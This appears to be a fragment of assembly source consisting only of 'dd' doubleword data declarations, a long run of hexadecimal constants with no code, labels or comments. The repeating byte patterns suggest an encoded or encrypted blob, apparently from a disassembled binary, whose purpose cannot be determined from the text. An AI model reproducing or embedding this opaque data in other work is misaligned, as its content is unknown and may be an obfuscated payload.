		dd 233DAD36h, 0FAC52B28h, 1C34FDA7h, 0B4F83657h, 752A9863h
		dd 7AF39CA6h, 0E96B1BEFh, 94894633h, 0B335CB0Dh, 0E37156BDh
		dd 0D2B31D85h, 56590F62h, 4569C8EFh, 9C524888h,	58A3416Fh
		dd 0FE99C4E7h, 0CD534C22h, 312B9CD3h, 90547560h, 871DEB6h
		dd 0CF53BC94h, 31225CFBh, 22CDE060h, 0B1619EDh,	4CDB11A2h
		dd 0F2321566h, 154FFF59h, 7D6B2806h, 60269E36h,	2236D1E7h
		dd 0A9521566h, 0B8E38D91h, 0B852E907h, 0F4BB4333h, 986CE0EFh
		dd 0A3CB488Eh, 572FA4E3h, 23BF1A60h, 0E8321566h, 7D30F5A7h
		dd 5D679065h, 28DB1375h, 9F321566h, 1BFF4F28h, 3685F3F8h
		dd 7A644515h, 921621EDh, 0EE5211A2h, 4B1103DEh,	22321AE5h
		dd 1138FC66h, 0C7C61566h, 4F6D360Eh, 741E9E79h,	0F852B807h
		dd 88321560h, 126975Ah,	0A95430EEh, 441F74A9h, 8D20293Eh
		dd 37EB390Fh, 4B1FDD67h, 1441CC4Ah, 9A0E4D33h, 44339669h
		dd 0ABCA1566h, 0E92E3122h, 2DDBEC07h, 24321564h, 1969F7E7h
		dd 0DEB36E88h, 0BE139084h, 9997D07h, 2EBB1566h,	9861E942h
		dd 8CF19485h, 0C7321566h, 3EB5118Dh, 5BB4942h, 0EE627542h
		dd 256DE4EDh, 0A9CBDC57h, 23F3CF3h, 89B51A60h, 0B1321566h
		dd 2220FC06h, 37E11566h, 0A48D31A3h, 0EB52934Ch, 710D5A67h
		dd 0FDA25EFDh, 0E9E1D9E6h, 0C03D175Dh, 223215C0h, 11209369h
		dd 85DB1566h, 0BF321566h, 1EFB1A85h, 1B3144ECh,	78DEA609h
		dd 908B7306h, 43EA9E7Dh, 1136AA31h, 4AB31566h, 52B850CAh
		dd 0C8B3EF67h, 7B850CAh
		dd 9BBA1A39h, 0AD321566h, 22321568h, 1DB92AD1h,	6945F645h
		dd 0B4E34208h, 9F67964Eh, 11321567h, 7D6FFC67h,	4333985Dh
		dd 0A73D1375h, 0EECDEAF2h, 88339169h, 24CE1566h, 8535AE00h
		dd 0DCE302DCh, 0CB8A740Bh, 1157972Eh, 0B841EEDBh, 4CDA3402h
		dd 4074404Bh, 71EAE258h, 582A41AAh, 0B09F3763h,	89B11A39h
		dd 0BC321566h, 6DBF98EBh, 0EEC71375h, 5BBE087h,	42213EA3h
		dd 0D3851A06h, 35269E07h, 9D39C37h, 443211A7h, 26F39466h
		dd 96321566h, 706E316Ah, 111619EDh, 0E7B3F0EFh,	11321562h
		dd 0F36D0E5h, 4B6E314Ah, 22320FEDh, 5B81A66h, 61321566h
		dd 44321569h, 0D35A18F5h, 4E3CC771h, 0C77EEB2Ah, 0BC1D8D36h
		dd 2221470Eh, 35069C66h, 29897306h, 4426FCB3h, 0B8C51566h
		dd 90BAD4E2h, 0FE9658DAh, 51299657h, 0C899AF45h, 0E8537637h
		dd 987B88EDh, 0AD521375h, 22321560h, 0BEB456B8h, 0D853B3B1h
		dd 443215DEh, 0DDEA1466h, 351E9456h, 0CA6321CBh, 0E9F3943Fh
		dd 7A704452h, 113A9269h, 63D1566h, 44321564h, 0A7B97406h
		dd 17213EA3h, 8832128Fh, 0F81DE966h, 84D20B85h,	17DBF5B7h
		dd 65321566h, 3587FE22h, 0F3B7168Eh, 1E340662h,	883212E2h
		dd 45BE1A66h, 0DA321566h, 0F8C4249Eh, 88321561h, 1F97BE8Dh
		dd 722CAF2Ah, 9836F9E5h, 0D66A3152h, 442B9569h,	36DB1566h
		dd 0FB321566h, 0A2A77CBBh, 0A18183B3h, 0FCBACD1Dh, 9EDEF582h
		dd 87CE9F6Fh, 443214E6h, 8F54EC66h, 13D2D49Fh, 883D9769h
		dd 4EDB1566h, 21321566h, 16342C98h, 4183A8F0h, 11B71658h
		dd 4234067Fh, 0A75209D7h, 6AB373ACh, 25538CD6h,	0E403E557h
		dd 0BCC7E557h, 8832018Fh, 0C7AF5A66h, 2EAE0B41h, 0BCB80504h
		dd 518776D1h, 172D76E7h, 768C439Dh, 1036395Bh, 40334B96h
		dd 680F414Bh, 16CDED62h, 0D5B14B42h, 5FB97562h,	5F4AAB37h
		dd 436D02A8h, 0B47A8E5h, 87331375h, 4432C0E2h, 3AB21A66h
		dd 0F8321566h, 88321575h, 0D75EFBB0h, 90932FC9h, 340AB932h
		dd 99AA97BEh, 7F0C0A3Eh, 312378EBh, 0BAB61A60h,	0E8321566h
		dd 0CE06C3E6h, 0AF097480h, 172105B7h, 88AA9169h, 24521566h
		dd 99547406h, 775386DDh, 66C1DEE7h, 8DBF2E07h, 2D340661h
		dd 113268E2h, 8839FC66h, 5FE1566h, 46A45991h, 6F274908h
		dd 0A4AF98E3h, 4B340F89h, 22321FE3h, 1137FC66h,	584A1566h
		dd 0BB0D795Ch, 2FDA75B5h, 0B2321566h, 5F86AB7Bh, 76279DF3h
		dd 99197A94h, 0C004AD00h, 3627438h, 80B1315Ah, 29B31A62h
		dd 71321566h, 87CCAA69h, 443215EEh, 0A7BB7466h,	17211597h
		dd 8832108Fh, 91012966h, 41DB7883h, 71321546h, 0E4FAD06h
		dd 96B33CD6h, 368842DFh, 8CBF7407h, 8E28FA4Ah, 0C5C4A406h
		dd 981A5ADh, 0C2CD7478h, 30544606h, 226A7DF5h, 0C0A9C3E7h
		dd 648F9607h, 8834067Ch, 44669169h, 42521566h, 6A66CCE7h
		dd 0E9531412h, 6FA7905Dh, 0A63D1375h, 11321554h, 88321C8Fh
		dd 0EDF5266h, 0A2215027h, 9409E388h, 8E213ECFh,	44169069h
		dd 42521566h, 1132108Eh, 0EE4F7966h, 2268A740h,	432D85DEh
		dd 0EA8D1A31h, 92DB743Fh, 4BCDEA99h, 223214EFh,	9409E066h
		dd 8E213BD3h, 44649069h, 28DB1566h, 5C321566h, 0BEC73365h
		dd 6E6A831Eh, 1F8F967Ch, 11340671h, 88129169h, 0C03D1566h
		dd 2232156Ah, 11349169h, 3D1566h, 44321566h, 12DFA8E5h
		dd 1E321375h, 88320EE2h, 0C1BFE066h, 242866FAh,	11321C8Fh
		dd 7A111866h, 76A97970h, 90DB352Eh, 0E9CDEA98h,	0A687905Dh
		dd 0C03D1375h, 0DDCDEBC3h, 0FC8F969Ah, 89340FF5h, 447A9069h
		dd 2EDB1566h, 97321566h, 0F139849Dh, 3366AE04h,	1955F9FEh
		dd 0BA634E3h, 0A3B71A60h, 4B321566h, 223212E1h,	0C8A7566h
		dd 0E9031042h, 4FD690EBh, 0CBCB153Fh, 0EECDEBF4h, 8832188Fh
		dd 59523166h, 934D5B4Bh, 8F1E867Dh, 7703A8AFh, 44339969h
		dd 0A1CE1566h, 235F0DBh, 0C3D1560h, 443205A5h, 22321B8Fh
		dd 2ED1BE66h, 0F44762E1h, 0C3F9D4FFh, 191F3A15h, 0BA618E3h
		dd 0A3B71A60h, 24321566h, 2238FC06h, 0CF621566h, 6D0395DAh
		dd 97130AA7h, 22329F69h, 70531566h, 0D9B79E9Ah,	0B1340668h
		dd 2233AF34h, 0C6331566h, 0D09E93Ch, 42288173h,	220D9069h
		dd 1DB1566h, 0FF321566h, 21F0DBDFh, 0F066ADC5h,	0BB9D565Bh
		dd 317A630h, 571E0CE3h,	23BE1A60h, 0E8321566h, 883B790Eh
		dd 600E9C66h, 7D161199h, 11399169h, 8EDB1566h, 7B321566h
		dd 0E9371423h, 0B72EFDh, 87340FF2h, 443246E3h, 0CB527566h
		dd 1132156Bh, 2174EFDAh, 7658EEA7h, 0BE6B687h, 0DCDABE0h
		dd 37530187h, 14B48257h, 0A3B79E07h, 1E340671h,	88321CE3h
		dd 0FB547566h, 0D3B20136h, 16DB74C3h, 74321566h, 1E1C5789h
		dd 27A5804Bh, 11321567h, 8834FCF1h, 0F7841566h,	0F0C8063h
		dd 852B905Dh, 0D3D137Ch, 4432154Ah, 0A953ED06h,	234C8E3h
		dd 89B51A60h, 0B8321566h, 2233AD36h, 0D6331566h, 883CFC3Eh
		dd 8C581566h, 0C232BBFDh, 79F41F0Eh, 0E49F6406h, 0D02F905Dh
		dd 0A73D137Ch, 1132155Fh, 1DB79E9Eh, 2434067Fh,	223FFD9Fh
		dd 2A541566h, 7E88619Dh, 8C386Bh, 0CA18EB64h, 11321561h
		dd 31BF2612h, 1B795E02h, 0DD657438h, 2DB93162h,	8CF69642h
		dd 0F87EC06h, 3B72E07h,	1E340FF2h, 88322AE3h, 0C1B9E066h
		dd 24213CCFh, 11359669h, 0D3D1566h, 44321567h, 0DD8A459Ah
		dd 38CDEA99h, 73D4DA1h,	4432157Ah, 22249369h, 0DB1566h
		dd 0F2321566h, 923443D1h, 0ACD30230h, 0E98267C4h, 0FDDD90D4h
		dd 0D017905Dh, 0A73D137Ch, 11321544h, 8832138Fh, 5B7C1866h
		dd 0A9BD47F2h, 22400E3h, 89B91A60h, 0B8321566h,	2233A833h
		dd 0FE331566h, 0D09E03Bh, 4228814Fh, 220E9069h,	0F9521566h
		dd 8832156Fh, 7585AE45h, 3A89774h, 706BECA6h, 0A4A390EDh
		dd 4B521375h, 7353D3D9h, 113214DFh, 0D1FD1466h,	44229F69h
		dd 29DB1566h, 0B6321566h, 0C720F8Eh, 0D87725D1h, 0A7093F3Bh
		dd 1728814Bh, 880F9069h, 4BCB1566h, 223214E9h, 94B9EC66h
		dd 8E2105EBh, 4432058Fh, 0A2892B66h, 83518BE0h,	89A6B1DDh
		dd 0ED7B40A0h, 9860EC94h, 11321567h, 6168C267h,	4432156Dh
		dd 735A78E2h, 0D0FB3FB7h, 0B310D67Dh, 5EA624E3h, 1B71A60h
		dd 0F8321566h, 8832156Bh, 0F02CDA3Ah, 4E495C91h, 0A59C12E8h
		dd 0E9B79E21h, 0B134064Eh, 0DDCDAF34h, 0C61BEA99h, 0D09ED3Ch
		dd 4228815Fh, 221F9069h, 9A521566h, 0D06175A5h,	13A9F2E7h
		dd 43536A26h, 207F90EDh, 8521375h, 24529B8Ah, 22B31A07h
		dd 70321566h, 778F4007h, 6DCDEA99h, 19CA4889h, 0BA620E3h
		dd 0E4B71A60h, 4B321566h, 223206EEh, 0D6B97566h, 88321C8Eh
		dd 5D1AA366h, 8E86A84Dh, 706CCC7Eh, 9F4BA8E5h, 4B321375h
		dd 223253E3h, 0FBB1A66h, 0E8321566h, 44329A69h,	32DA1566h
		dd 0D6321566h, 49C509FEh, 328335DFh, 60CEF22h, 4B9FBB58h
		dd 59B79E07h, 0AD340647h, 2232156Ch, 309B7390h,	2D17FAD3h
		dd 8C5A9873h, 0AB321553h, 15CD315Ah, 0BC74A42h,	5729C4DBh
		dd 0A63D1560h, 1132150Dh, 88B31A06h, 24321566h,	22329D69h
		dd 70531566h, 1CF3905Dh, 0C13D137Ch, 22321529h,	11399869h
		dd 8EDB1566h, 0AE321566h, 0E9128609h, 4CB79ED2h, 7134066Ch
		dd 42BF1A06h, 2D321566h, 113215E7h, 0A48B7366h,	0FC62748Dh
		dd 42D77A70h, 1437F5A7h
		dd 6B600827h, 0AD6AD267h, 22321569h, 8656D000h,	213117Ah
		dd 4620A4E2h, 0A13468AAh, 22D08DBh, 0C3D1560h, 44321499h
		dd 2232128Fh, 0DB892D66h, 2BBC85FBh, 44BBA8E5h,	2D321375h
		dd 1133F3E2h, 8838FC66h, 442F1566h, 850B84DFh, 3C6C54B3h
		dd 1C97905Dh, 0C13D137Ch, 22321552h, 113A9169h,	74521566h
		dd 2118FCDFh, 0A7B9743Dh, 17210B13h, 88219E69h,	4ADB1566h
		dd 77321566h, 0E3683064h, 5DCA0CA1h, 0B56EFF3Ah, 26B14225h
		dd 0ED6D1442h, 1C87905Dh, 0C13D137Ch, 2232155Eh, 4CB79E93h
		dd 0E8340679h, 44321D8Fh, 0AE28C966h, 0D5EEB0B4h, 0E9E19E4Ch
		dd 2B9AE35h, 0C9B3183Bh, 1C6F53EAh, 6169CA4Fh, 4432156Ah
		dd 0BF4D8B9h, 28221256h, 157AA0B6h, 0D09B905Dh,	0A73D137Ch
		dd 1132155Eh, 15B79E9Ah, 0AD340666h, 22321575h,	0BD1D796Ch
		dd 9613C523h, 0FAB4B570h, 8AF94189h, 0F8AA17C0h, 8832156Ch
		dd 0A10AF93Dh, 4D983B74h, 0A8634DB5h, 88321567h, 0B16BDA67h
		dd 0B68B905Dh, 943D137Ch, 88321526h, 42B11A06h,	0A3321566h
		dd 4B9F6891h, 883CFC33h, 20151566h, 40616D8Fh, 42BE44BBh
		dd 0FE3D7F30h, 9DB37507h, 448B482Bh, 7043DBE6h,	847B90EDh
		dd 13CB1375h, 60684A34h, 7752C2E1h, 0E91B07DEh,	0D08F905Dh
		dd 0A73D137Ch, 1132155Eh, 883E9869h, 0C73D1566h, 22321560h
		dd 11329269h, 0DB91566h, 4221369Fh, 0AA3D4506h,	11321566h
		dd 0AD65AA38h, 115321A2h, 0DDCDEADBh, 4CDD3C99h, 88309669h
		dd 25521566h, 0B69F905Dh, 943D137Ch, 88321554h,	0ADB79E93h
		dd 2D34067Bh, 113212E2h, 89B81A66h, 0B1321566h,	0DDCDAC37h
		dd 0DE1BEA99h, 0CB80753Fh, 4432198Fh, 1C9B7866h, 5B3E11BFh
		dd 4DA2CF8Ch, 0C1097488h, 242881D7h, 11079069h,	3C71566h
		dd 573DD8E3h, 28BF1A60h, 0F8321566h, 88321563h,	0CFD5D577h
		dd 0DD8F4032h, 38CDEA99h, 0F3D4889h, 44321568h,	22321C8Fh
		dd 5966EB66h, 0D8ACF64h, 0C7CE6BDBh, 31329CDBh,	953D1560h
		dd 88321FB1h, 442B9669h, 0CB521566h, 11321569h,	0B2D31EDFh
		dd 720CE985h, 0B3F490D5h, 776BBF4Eh, 0B353CDEDh, 5EA628E3h
		dd 13B71A60h, 0E8321566h, 7DB79E9Fh, 0AD340644h, 2232156Dh
		dd 9635B8FCh, 6D2DF029h, 12A09A49h, 0DDCDEAD8h,	4FC53C99h
		dd 88321E8Fh, 94C76566h, 16427A97h, 9C519A00h, 1CE3905Dh
		dd 0C13D137Ch, 22321500h, 0C4837506h, 3537406h,	0C1B974A1h
		dd 2421142Bh, 113E9A69h, 8FDB1566h, 0A3321566h,	1F208F7Bh
		dd 0AA61C365h, 85A10486h, 0A7F3C691h, 0A3E9E261h, 0E32ED88Dh
		dd 0C4F19476h, 6D757C4Ah, 0AB3D4EB9h, 1132156Ah, 88349869h
		dd 0C03D1566h, 22321566h, 1132048Fh, 25330866h,	11531B5Ah
		dd 95CC4C2Ch, 4B49BA9Ch, 0D09910Eh, 42288127h, 227B9069h
		dd 77521566h, 1D1EC6E7h, 44379369h, 0A3541566h,	70697885h
		dd 9B4F90EDh, 49DB1375h, 0E5321566h, 0EEE1F1F9h, 865121Bh
		dd 2A37F764h, 0DDCDAB30h, 0E61BEA99h, 8823FC38h, 0EB51566h
		dd 88494A75h, 2F91D6CCh, 0B31BE675h, 7F75A802h,	38A650E3h
		dd 51B71A60h, 61321566h, 44321574h, 0BDB3A8C0h,	4D11E258h
		dd 0C718B2DEh, 0AAEBADA8h, 0A7B92F0Bh, 1721008Bh, 88321D8Fh
		dd 0F12A8D66h, 112625E6h, 0EE8946CBh, 0A1CDEA99h, 0C13D4EB9h
		dd 22321561h, 0C8B97306h, 0B353C1ECh, 5EA65CE3h, 13B71A60h
		dd 0ED321566h, 0AD8B90EDh, 0CF521375h, 20B01A9Eh, 47321566h
		dd 67B5743Fh, 0BBCDF8E7h, 0CDB5EA99h, 90547593h, 87202A84h
		dd 443213E7h, 0D6E59466h, 7059B2DBh, 1C7F905Dh,	0C13D137Ch
		dd 223215ECh, 11279E69h, 87521566h, 443215EEh, 2235FD66h
		dd 2FED1566h, 0F648F851h, 4B534DFAh, 223214E8h,	0ACB1E966h
		dd 8E21021Fh, 1FB71A66h, 2D321566h, 113219E0h, 8EB81A66h
		dd 4B321566h, 223215ECh, 28B79E66h, 6134066Bh, 4432156Eh
		dd 0B55F18D0h, 47C65309h, 883A9469h, 0CA3D1566h, 22321564h
		dd 0AF647406h, 77CDEA99h, 4B6CE24Fh, 22320CECh,	1126FC66h
		dd 3AB81566h, 3A4ADB69h, 0EDB47694h, 65D6777Eh,	0CCAA73Bh
		dd 0C109E149h, 24288137h, 11649069h, 61CB1566h,	44321577h
		dd 6EE9087h, 0A83B3992h, 7845097Eh, 95A11B38h, 67B79EF2h
		dd 7134064Ah, 88319C69h, 0F33D1566h, 43C19EB8h,	1133AF34h
		dd 5F331566h, 4B52EC3Ch, 0CA52CED9h, 11321576h,	0C7831E0Fh
		dd 506E8A89h, 80E653A9h, 0A8F9C696h, 0A123AA38h, 255314A7h
		dd 0B667905Dh, 943D137Ch, 88321538h, 443E9469h,	0AF3D1566h
		dd 11321560h, 88329669h, 0C7CA1566h, 31256CDBh,	943D1560h
		dd 88321558h, 443F9D69h, 0A3521566h, 15D88481h,	48B37346h
		dd 0CF5382DEh, 3132A4E3h, 0AA61ED60h, 88321567h, 4B69CA67h
		dd 223200E2h, 1122FC66h, 31021566h, 61BD4D87h, 29B40263h
		dd 0F1A5092h, 0D097FB9h, 4228813Fh, 22039069h, 9AC71566h
		dd 9B16C4E3h, 4CBF1A60h, 42321566h, 0A954B3D6h,	0DE531D81h
		dd 0BBCDEAD8h, 7CC53C99h, 113F9169h, 80DB1566h,	14321566h
		dd 8B4DE36Ah, 2A9F397Eh, 92A648E3h, 32B71A60h, 2D321566h
		dd 11320DE2h, 9AB51A66h, 0AD321566h, 2232156Bh,	0F1FB3E33h
		dd 89CB2C3Dh, 0B7FB8917h, 0D3B79E19h, 1E34067Ah, 883212EBh
		dd 0F33D7566h, 43F9A3A8h, 111B9C69h, 60521566h,	4432156Fh
		dd 5973FDB2h, 8FA77042h, 9BDB4A96h, 0C1321566h,	0F2E9BB5h
		dd 1CACDD91h, 9F6A8CA3h, 57764005h, 1353E6F7h, 20CB24A9h
		dd 47B554A9h, 44359A69h, 0AE3D1566h, 11321567h,	0EDB72E9Fh
		dd 4B340FF2h, 22324CE3h, 0ACB1E966h, 8E21021Fh,	0FB71A66h
		dd 0DE321566h, 352F90EDh, 0B3D1375h, 4432157Ch,	22269E69h
		dd 1EDB1566h, 1E321566h, 1C17AD9Ch, 0E37686B5h,	39587C2Eh
		dd 35673ABBh, 0BBCDEA99h, 426FFA4Fh, 113CFC06h,	0ADD61566h
		dd 0C078FBAAh, 0C708EE97h, 97B3A77Ah, 353E0ECh,	0C10974A8h
		dd 24288107h, 11569069h, 0EE521566h, 2575E4E7h,	2232078Eh
		dd 47C95866h, 79C14E44h, 6C0D0B6Eh, 4CA0693Eh, 9025E224h
		dd 0CA8A06ACh, 0C7534B53h, 31256CDBh, 943D1560h, 88321554h
		dd 1B79E93h, 0CB340671h, 1132156Ah, 54F345A8h, 0D910EDA6h
		dd 0AEE82BDEh, 0EECDAB30h, 7F1BEA99h, 443EFC38h, 503B1566h
		dd 0C2EFD183h, 0A18D52A0h, 0C1092A69h, 2428810Fh, 116F9069h
		dd 85DB1566h, 0C7321566h, 0BFB26D16h, 0D5FBF2B8h, 8B8ADDA7h
		dd 44389E69h, 44521566h, 0B0D7E3E7h, 0E98BD8E6h, 763B90EDh
		dd 2DDB1375h, 71321566h, 9848C245h, 0CC32D314h,	4D79BDF0h
		dd 0A962D24Ch, 88321567h, 0AD6AD267h, 22321575h, 9F0C91BFh
		dd 0C6EE3287h, 3897A73Eh, 0B0374B4Fh, 2A4C291Bh, 92A678E3h
		dd 7AB71A60h, 42321566h, 0A63D4F30h, 0DB974AEh,	422137E3h
		dd 2232078Fh, 3B7EFE66h, 0EB3AA9C0h, 0C0680A32h, 0BFEA4367h
		dd 472B6A40h, 77CDEAD8h, 1AC53C99h, 2232198Fh, 0A3291F66h
		dd 0B3938090h, 29CCDADAh, 53B72E2Ch, 1E340FF2h,	8832B7E3h
		dd 0CB3D7566h, 22321570h, 1132048Fh, 755FD666h,	0ECADCE29h
		dd 0D320136Ch, 0DDF2E5DFh, 0E8533BDDh, 4432138Fh, 0D5B17866h
		dd 0F8389428h, 88321574h, 742A3889h, 2304BFAh, 4AC35C6h
		dd 0D591AD8Eh, 0CF538AF1h, 313230E3h, 1120FC60h, 4F4A1566h
		dd 36ABCD9h, 9E81AAF7h,	9467FFE1h, 0C07BC76Eh, 4432078Fh
		dd 5DD53166h, 0DBE15476h
		dd 9A505363h, 2D4E70F3h, 74213910h, 113214D8h, 0D6C51466h
		dd 442F9369h, 0A53D1566h, 11321571h, 8832078Fh,	1200E466h
		dd 64D6B16Dh, 2C266F05h, 74E51083h, 7FD01234h, 38A660E3h
		dd 2EB71A60h, 0E8321566h, 24E1AA69h, 0A63DC6ECh, 11321566h
		dd 85DB7407h, 0DF321566h, 0D6723FD8h, 33DC211Eh, 2F10BF25h
		dd 6B9390EDh, 2BDB1375h, 0D3321566h, 0D7D38305h, 0B4189B1Fh
		dd 2233AB30h, 0E6331566h, 0D09ED38h, 4228811Fh,	22709069h
		dd 9AC71566h, 9B29D0E3h, 0C13D7560h, 22321560h,	11329469h
		dd 0E9CB1566h, 1374E2E1h, 2D6C4A30h, 11320AE8h,	0BB8A7566h
		dd 0AD29ED0Ch, 22321575h, 0DEDAF711h, 3A316CACh, 0D29E1F48h
		dd 84A728E2h, 70A46FB3h, 1C4F905Dh, 0C13D137Ch,	22321526h
		dd 0D3B97306h, 8832188Eh, 3CC0F066h, 42B9D674h,	95A2661Ch
		dd 3654F7E1h, 25689BB1h, 3F0790EDh, 77521375h, 954C5EDh
		dd 25597096h, 6369631h,	943D4A67h, 8832156Eh, 44309F69h
		dd 43521566h, 85B3905Dh, 0D3D137Ch, 44321524h, 0A7B9ED9Fh
		dd 17210273h, 8832018Fh, 0B0517D66h, 7FEBCC7Bh,	33B7223h
		dd 0AEBFDBACh, 0BF9F1349h, 0DD8B4490h, 38CDEA99h, 9BDB4CA9h
		dd 0F6321566h, 245FB7CDh, 0D2C22795h, 7A67CCC7h, 3345DC6Eh
		dd 0A7092283h, 172881E3h, 885A9069h, 0AC521566h, 22321577h
		dd 0DA885654h, 7015D840h, 0F08C08C5h, 37BA80B1h, 113DFD54h
		dd 63581566h, 22832545h, 0A31CDE44h, 0B1BC5A8Ch, 0E96D4EA8h
		dd 44379169h, 0A9521566h, 9A53E9BEh, 9B02ECE3h,	0CF547560h
		dd 0AEF594A8h, 707420F1h, 77CDAC37h, 8B1BEA99h,	2DBA1A3Fh
		dd 0F8321566h, 8832156Ch, 0F9EBEC47h, 5F98310Ch, 94096E22h
		dd 8E211B07h, 44099069h, 33DB1566h, 45321566h, 3805B70h
		dd 0E0068B57h, 0D2C88B59h, 8FA423FDh, 833F90EDh, 42DB1375h
		dd 6B321566h, 0E3864E0Bh, 778C43F7h, 6DCDEA99h,	24DB4B91h
		dd 321566h, 0CB2A7351h,	0CDB72EFEh, 2D340FF2h, 11322DE3h
		dd 8838FC66h, 0D29B1566h, 7AB4C7B9h, 0B0ED2E1Ch, 93DF90EDh
		dd 0CE521375h, 99617496h, 11321567h, 6169CA67h,	44321577h
		dd 55E83E16h, 0FCCA1428h, 2442E223h, 5A743CF2h,	0E7B72E8Bh
		dd 1E340FF2h, 88327BE3h, 4420FC66h, 0B5CD1566h,	4D4B6877h
		dd 61E456C8h, 7B6AA44Ch, 32E02CC4h, 0DC8F969Ah,	88340FF2h
		dd 443D9069h, 0A1C71566h, 22860DBh, 0C3D1560h, 4432155Dh
		dd 8BB79E9Eh, 1E340644h, 88321AEBh, 41DB7566h, 6E321566h
		dd 54A48ACFh, 0E9B7DBE6h, 4433AC37h, 0ED331566h, 1123FC3Fh
		dd 4D5D1566h, 0FD813F45h, 6AD39CF4h, 0F895986Fh, 0B37793AFh
		dd 5EA6DCE3h, 0B2B71A60h, 0E8321566h, 1CFFA8E5h, 4B32137Ch
		dd 22325EE3h, 8B91A66h,	61321566h, 44321572h, 3F0E5F10h
		dd 0D9473E77h, 5A9AA28Ah, 0D093D14Fh, 36D3082Ah, 0B47A8E5h
		dd 87321375h, 443243E2h, 99547566h, 776557B6h, 0E96DCAEDh
		dd 44321A8Fh, 116B9C66h, 58883CA6h, 32951D06h, 39E47A41h
		dd 387F90EDh, 77521375h, 0E960B7D9h, 0BBCDA833h, 0CD1BEA99h
		dd 0DFB9753Bh, 88321E8Eh, 0D3D55966h, 0EAF829EFh, 9F25881Dh
		dd 8832128Eh, 46856366h, 6F1A6FD9h, 2A534A3Fh, 92A698E3h
		dd 7CB71A60h, 0DB321566h, 1C2B90EDh, 86DB1375h,	0C8321566h
		dd 0C7B5888Dh, 0C5D6D7A1h, 0E3837ADEh, 458C4314h, 23321566h
		dd 9B3D4B91h, 88321560h, 0CE31A506h, 0A8527497h, 0FBB373B2h
		dd 0B353F9B7h, 5EA684E3h, 4B71A60h, 0E8321566h,	0A3CF90EDh
		dd 0C33D1375h, 22321569h, 11321F8Fh, 0D9C76666h, 844D02B2h
		dd 73E1E0E3h, 0EECDEADFh, 0D1FD3C99h, 0D1B72E9Eh, 2D340FF2h
		dd 11325DE3h, 3547566h,	2543A298h, 6D790EDh, 16DB1375h
		dd 14321566h, 4039E326h, 98601880h, 1ED70C6Fh, 4AB3CF91h
		dd 9C5101h, 47FFFFE7h, 0E3B34B05h, 5E57D0F6h, 4B68C267h
		dd 223219E6h, 17B11A66h, 87321566h, 443215EAh, 0BBB72E66h
		dd 1E340FF2h, 883205E3h, 0C1B9EC66h, 24211BC7h,	4E604293h
		dd 5FB5573Ch, 0D9B72E93h, 2D340FF2h, 113252E3h,	8823FC66h
		dd 70D21566h, 0EB2AA9F0h, 9DD98801h, 5DE5E12Bh,	0AD5384D7h
		dd 22321572h, 0A06D3C49h, 0B731211Dh, 0E06B0581h, 0C93E46A4h
		dd 40D5A37Bh, 0AC0F90EDh, 0CF3D1375h, 22321567h, 0EE894693h
		dd 0A1CDEA99h, 25524EB9h, 0B693905Dh, 943D137Ch, 88321521h
		dd 44209F69h, 2FDB1566h, 49321566h, 4CEAA27Ah, 123EA540h
		dd 0D0432A5Bh, 33C790EDh, 73D1375h, 44321563h, 0D1B97306h
		dd 933D7507h, 88321563h, 0AFE39400h, 9C64740Dh,	11321567h
		dd 716CE267h, 44339D69h, 29CE1566h, 5B61A99h, 87321566h
		dd 44321DECh, 20B81A66h, 71321566h, 65BEFC07h, 7FCEEA99h
		dd 311224E3h, 34B71A60h, 0E8321566h, 0C7F8959Eh, 43CB7507h
		dd 6DA90EBh, 53D137Ch, 44321567h, 41DBEC93h, 71CDEA8Bh
		dd 1188D7EDh, 2511F82Bh, 9EB905Dh, 943D1375h, 88321525h
		dd 4BA0A406h, 0A153EBD9h, 0BA1F8DBh, 0D3D1460h,	44321549h
		dd 2238FC9Ah, 0FCAE1566h, 3AB60867h, 1F64D75Fh,	295590EBh
		dd 1FDB153Fh, 76321566h, 14E7431h, 533B6106h, 0D5D1D772h
		dd 653EFCA5h, 7FCEEA99h, 38A1E8E3h, 7B61A60h, 0E8321566h
		dd 2854AA00h, 43E8AA69h, 8533905Dh, 0D3D137Ch, 4432156Bh
		dd 0CED6FC9Ah, 9D3DEA99h, 88321567h, 40DE9493h,	0AB321566h
		dd 118F314Ah, 1321566h,	0C63D4888h, 22321567h, 10CC969Fh
		dd 89339069h, 7FCB1566h, 38A1E4E3h, 5FB71A60h, 61321566h
		dd 44321569h, 0FB4F4F9h, 0DB97ED6Fh, 0E976A621h, 4BC0ABD5h
		dd 22321DE1h, 13B81A66h, 0E8321566h, 80B79807h,	0CB324DE1h
		dd 1132156Dh, 0A5ECF69Ah, 0EB8FA937h, 0DB20D1E2h, 0EEDE648Fh
		dd 82B31A99h, 24321566h, 3236CBE7h, 7052690Eh, 7DB72E07h
		dd 4B340FF5h, 223256E3h, 0F952EC66h, 88321561h,	0E43C781Ch
		dd 0DED8C128h, 0CE8D1A3Ch, 0B2B79807h, 4B324DEEh, 223214ECh
		dd 0ED52ED66h, 641EFC07h, 0ADC7EA99h, 22321572h, 372E8CE7h
		dd 450C20FEh, 882201C9h, 26531A0Dh, 0B9725B32h,	1BCB905Dh
		dd 0C13D137Ch, 2232152Dh, 11339969h, 70CE1566h,	0CC4D90EBh
		dd 4452153Eh, 3179DEE7h, 8832108Eh, 0C610B266h,	33DB7D6Ch
		dd 0D0321566h, 0BA0B57F6h, 45B5ACC8h, 360B9991h, 6B4C25ACh
		dd 43DB7438h, 24CDEA8Dh, 22309969h, 4A621566h, 70DEDBE7h
		dd 14530D48h, 6F1639E7h, 9A5E3C56h, 4CB33162h, 44321562h
		dd 0B025863h, 4B21A0Ah,	87321566h, 44321AE9h, 2238FC66h
		dd 80D61566h, 910A55D8h, 4754953Dh, 0C2B37306h,	7752A35Fh
		dd 0E953D6EDh, 7B5DAA31h, 0E5B34FFDh, 210F4B2Fh, 3664FAB7h
		dd 24C2288Ch, 0A36CE247h, 8EC12FA1h, 0D7CC9CD9h, 442E9269h
		dd 2D521566h, 0DAE3D1h,	6F321566h, 3BCE2741h, 0CDD7CA79h
		dd 56766CB3h, 0F11C863Bh, 0B239743Fh, 22119069h, 9C3D1566h
		dd 8832156Bh, 44321D8Fh, 0E6649066h, 0E88D0272h, 62D9FC39h
		dd 42DBEA99h, 4321566h,	813917ADh, 0BCB9454Ah, 40F69442h
		dd 0CB321566h, 11321568h, 68DA3859h, 0C6AD60E6h, 0BC917603h
		dd 0A4BB1C90h, 8E2134C3h, 6E8A4706h, 787A5463h,	11319B69h
		dd 67B21566h, 0F1BB743Ch, 24212463h, 0D9B97306h, 8832018Fh
		dd 0BD44C966h, 1FCF2E76h, 989DADF2h, 56365642h,	0C7B901EEh
